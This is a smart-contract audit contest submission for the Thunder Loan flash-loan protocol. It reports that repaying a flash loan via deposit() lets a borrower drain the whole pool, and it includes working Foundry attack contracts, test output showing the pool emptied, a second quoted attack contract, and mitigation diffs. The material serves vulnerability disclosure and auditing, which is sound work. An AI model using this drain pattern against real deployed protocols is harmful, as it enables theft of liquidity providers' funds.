Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

A flash loan can be settled with `deposit` instead of `repay`, so the borrower keeps a redeemable claim on the money they just returned and walks away with the entire pool

ThunderLoan::flashloan settles on a raw balance check, which deposit satisfies while also minting the borrower a claim on the repaid funds

Description

  • A flash loan is supposed to be returned. flashloan decides whether that happened by comparing the AssetToken's underlying balance before and after the callback. repay is the intended way to get tokens back in.

  • deposit puts underlying into the very same AssetToken, so it satisfies the same balance check — but it additionally mints AssetToken shares to the caller. A borrower who settles with deposit therefore returns the principal and keeps a redeemable claim on it. Once the flash loan has closed they call redeem and take the money back out. The loan is never really repaid; the pool paid the borrower.

// src/protocol/ThunderLoan.sol:180-217
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
@> uint256 startingBalance = IERC20(token).balanceOf(address(assetToken)); // @> a balance snapshot...
...
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(
abi.encodeWithSignature("executeOperation(address,uint256,uint256,address,bytes)", ...)
);
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // @> ...compared to a balance snapshot
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

The check measures where the tokens are, never who is owed them. deposit moves tokens to the right place while creating an obligation in the opposite direction:

// src/protocol/ThunderLoan.sol:147-156
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount); // @> the borrower gets a claim...
...
@> token.safeTransferFrom(msg.sender, address(assetToken), amount); // @> ...for the same tokens the check counts
}

deposit is not blocked during an open loan. s_currentlyFlashLoaning is set at :198 but is only ever read by repay (:220) — the flag exists precisely because the protocol wanted to control how funds come back, yet it is enforced only on the one path the attacker does not need. There is no reentrancy guard anywhere in the contract.

Because :184 only requires amount <= startingBalance, the borrowed amount may be the entire pool, so a single transaction takes everything.

Risk

Likelihood:

  • Permissionless and unconditional. Anyone can deploy a receiver contract; the only capital required is enough to cover the fee — 0.3% of the borrowed value, which is 3 tokens on a 1,000-token pool. The PoC seeds the attacker with 5 tokens for that reason and no other.

  • It is a one-line change to the standard receiver: the project's own test/mocks/MockFlashLoanReceiver.sol calls repay(token, amount + fee) inside executeOperation; the exploit calls deposit(token, amount + fee) on the same line.

  • Nothing in the test suite would have caught it: test/fuzz/Invariant.t.sol names the exact property this breaks — "2. The protocol should never lose liquidity provider deposits, it should always go up" — but the file is an empty contract Invariant { } and the invariants were left as comments.

Impact:

  • Direct and total theft of liquidity-provider principal. In the measured run the attacker starts with 5 tokens, ends with 1,005, and the pool is left holding 1 wei. The honest liquidity provider's book claim reads 1,007.52 against that 1 wei.

  • One transaction is sufficient — there is no need to repeat or accumulate. The attacker's cost is a single flash-loan fee, so the ratio of stolen funds to capital risked is roughly 200:1 at the protocol's own 0.3% rate.

  • The pool cannot recover. Nothing in either implementation can restore the AssetToken's balance or correct the share accounting afterwards.

Proof of Concept

The receiver is the project's own mock with repay replaced by deposit. The attacker borrows the whole pool, and after the loan closes redeems the shares they were minted.

One detail worth stating up front because it will otherwise look like the exploit fails: redeem is uncapped and reverts if you ask for more than the AssetToken currently holds. After draining, the attacker's own inflated claim exceeds what is left, so the exploit redeems min(myShares, poolBalance * 1e18 / rate). A naive "redeem all my shares" reverts.

Save as test/PoC_H01.t.sol and run forge test --mt test_H01 -vv:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console2 } from "forge-std/Test.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
/// Identical to test/mocks/MockFlashLoanReceiver.sol except for ONE line:
/// `repay(...)` is replaced with `deposit(...)`.
contract DrainV1 {
ThunderLoan private immutable tl;
IERC20 private immutable tok;
AssetToken private immutable asset;
constructor(ThunderLoan _tl, IERC20 _tok) {
tl = _tl;
tok = _tok;
asset = _tl.getAssetFromToken(_tok);
}
function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
tok.approve(address(tl), amount + fee);
tl.deposit(tok, amount + fee); // <-- instead of repay()
return true;
}
function run(uint256 amount) external {
tl.flashloan(address(this), tok, amount, "");
}
function cashOut() external {
uint256 pool = tok.balanceOf(address(asset));
uint256 want = pool * 1e18 / asset.getExchangeRate();
uint256 mine = asset.balanceOf(address(this));
tl.redeem(tok, want < mine ? want : mine);
}
}
/// The same attack against ThunderLoanUpgraded, deployed FRESH.
contract DrainV2 {
ThunderLoanUpgraded private immutable tl;
IERC20 private immutable tok;
AssetToken private immutable asset;
constructor(ThunderLoanUpgraded _tl, IERC20 _tok) {
tl = _tl;
tok = _tok;
asset = _tl.getAssetFromToken(_tok);
}
function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
tok.approve(address(tl), amount + fee);
tl.deposit(tok, amount + fee);
return true;
}
function run(uint256 amount) external {
tl.flashloan(address(this), tok, amount, "");
}
function cashOut() external {
uint256 pool = tok.balanceOf(address(asset));
uint256 want = pool * 1e18 / asset.getExchangeRate();
uint256 mine = asset.balanceOf(address(this));
tl.redeem(tok, want < mine ? want : mine);
}
}
contract PoC_H01 is Test {
address lp = makeAddr("liquidityProvider");
uint256 constant LP_DEPOSIT = 1000e18;
uint256 constant SEED = 5e18; // just enough to cover the 3-token fee
function test_H01_drainsTheEntirePool() public {
MockPoolFactory f = new MockPoolFactory();
ERC20Mock t = new ERC20Mock();
f.createPool(address(t));
ThunderLoan tl = ThunderLoan(address(new ERC1967Proxy(address(new ThunderLoan()), "")));
tl.initialize(address(f));
tl.setAllowedToken(t, true);
AssetToken a = tl.getAssetFromToken(t);
t.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
t.approve(address(tl), LP_DEPOSIT);
tl.deposit(t, LP_DEPOSIT);
vm.stopPrank();
DrainV1 d = new DrainV1(tl, IERC20(address(t)));
t.mint(address(d), SEED);
d.run(t.balanceOf(address(a))); // borrow the ENTIRE pool
d.cashOut();
console2.log("[V1] seed capital :", SEED);
console2.log("[V1] attacker ends with :", t.balanceOf(address(d)));
console2.log("[V1] pool left :", t.balanceOf(address(a)));
console2.log("[V1] honest LP book claim :", a.balanceOf(lp) * a.getExchangeRate() / 1e18);
assertGt(t.balanceOf(address(d)), LP_DEPOSIT, "attacker took the whole deposit");
assertLt(t.balanceOf(address(a)), 1e12, "pool emptied");
}
/// The same attack on a FRESH ThunderLoanUpgraded, whose `deposit` does NOT
/// call updateExchangeRate and which has no storage collision. This proves the
/// defect is independent of the deposit-exchange-rate issue reported separately.
function test_H01_worksIdenticallyOnTheUpgrade() public {
MockPoolFactory f = new MockPoolFactory();
ERC20Mock t = new ERC20Mock();
f.createPool(address(t));
ThunderLoanUpgraded u =
ThunderLoanUpgraded(address(new ERC1967Proxy(address(new ThunderLoanUpgraded()), "")));
u.initialize(address(f));
u.setAllowedToken(t, true);
AssetToken a = u.getAssetFromToken(IERC20(address(t)));
t.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
t.approve(address(u), LP_DEPOSIT);
u.deposit(IERC20(address(t)), LP_DEPOSIT);
vm.stopPrank();
console2.log("[V2] rate before attack :", a.getExchangeRate());
DrainV2 d = new DrainV2(u, IERC20(address(t)));
t.mint(address(d), SEED);
d.run(t.balanceOf(address(a)));
d.cashOut();
console2.log("[V2] seed capital :", SEED);
console2.log("[V2] attacker ends with :", t.balanceOf(address(d)));
console2.log("[V2] pool left :", t.balanceOf(address(a)));
assertGt(t.balanceOf(address(d)), LP_DEPOSIT, "the upgrade does not fix it");
}
}

Output:

[PASS] test_H01_drainsTheEntirePool() (gas: 10224986)
Logs:
[V1] seed capital : 5000000000000000000
[V1] attacker ends with : 1004999999999999999999
[V1] pool left : 1
[V1] honest LP book claim : 1007524807450945082000
[PASS] test_H01_worksIdenticallyOnTheUpgrade() (gas: 10121057)
Logs:
[V2] rate before attack : 1000000000000000000
[V2] seed capital : 5000000000000000000
[V2] attacker ends with : 1005000000000000000000
[V2] pool left : 0

The flashloan call returns successfully in both cases — the protocol is satisfied that it was paid back. It was not: the balance came from its own liquidity, and the attacker held the receipt.

The second run matters for a reason beyond the upgrade. On a fresh ThunderLoanUpgraded the exchange rate starts at exactly 1e18, which rules out any contribution from the deposit/updateExchangeRate defect I am reporting separately: the attacker still walks off with the entire pool, and the numbers are cleaner (1,005.000 exactly, pool at zero). Deleting ThunderLoan.sol:153-154 does not fix this finding; it needs its own patch.

Recommended Mitigation

Stop settling on a raw balance snapshot and refuse deposits while a loan is open. Both parts are needed: the flag alone can be side-stepped for a token that has no loan running, and the accounting alone still lets a borrower mint shares.

+ error ThunderLoan__CantDepositDuringFlashLoan();
+
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CantDepositDuringFlashLoan();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];

and settle the loan against tokens that arrived through repay, not against whatever happens to be in the contract. The new mapping must be appended after the existing state variables so the upgrade path keeps every current slot where it is:

mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
+ // appended - must stay last so existing slots are untouched
+ mapping(IERC20 token => uint256 repaid) private s_repaidThisLoan;
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) {
revert ThunderLoan__NotCurrentlyFlashLoaning();
}
AssetToken assetToken = s_tokenToAssetToken[IERC20(token)];
+ s_repaidThisLoan[token] += amount;
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
- uint256 endingBalance = token.balanceOf(address(assetToken));
- if (endingBalance < startingBalance + fee) {
- revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
+ if (s_repaidThisLoan[token] < amount + fee) {
+ revert ThunderLoan__NotPaidBack(amount + fee, s_repaidThisLoan[token]);
}
+ s_repaidThisLoan[token] = 0;
s_currentlyFlashLoaning[token] = false;

A nonReentrant modifier on deposit, redeem and flashloan is worth adding on top — the contract currently has no reentrancy protection at all, and flashloan hands control to an arbitrary address at :201 after moving funds out.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 12 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!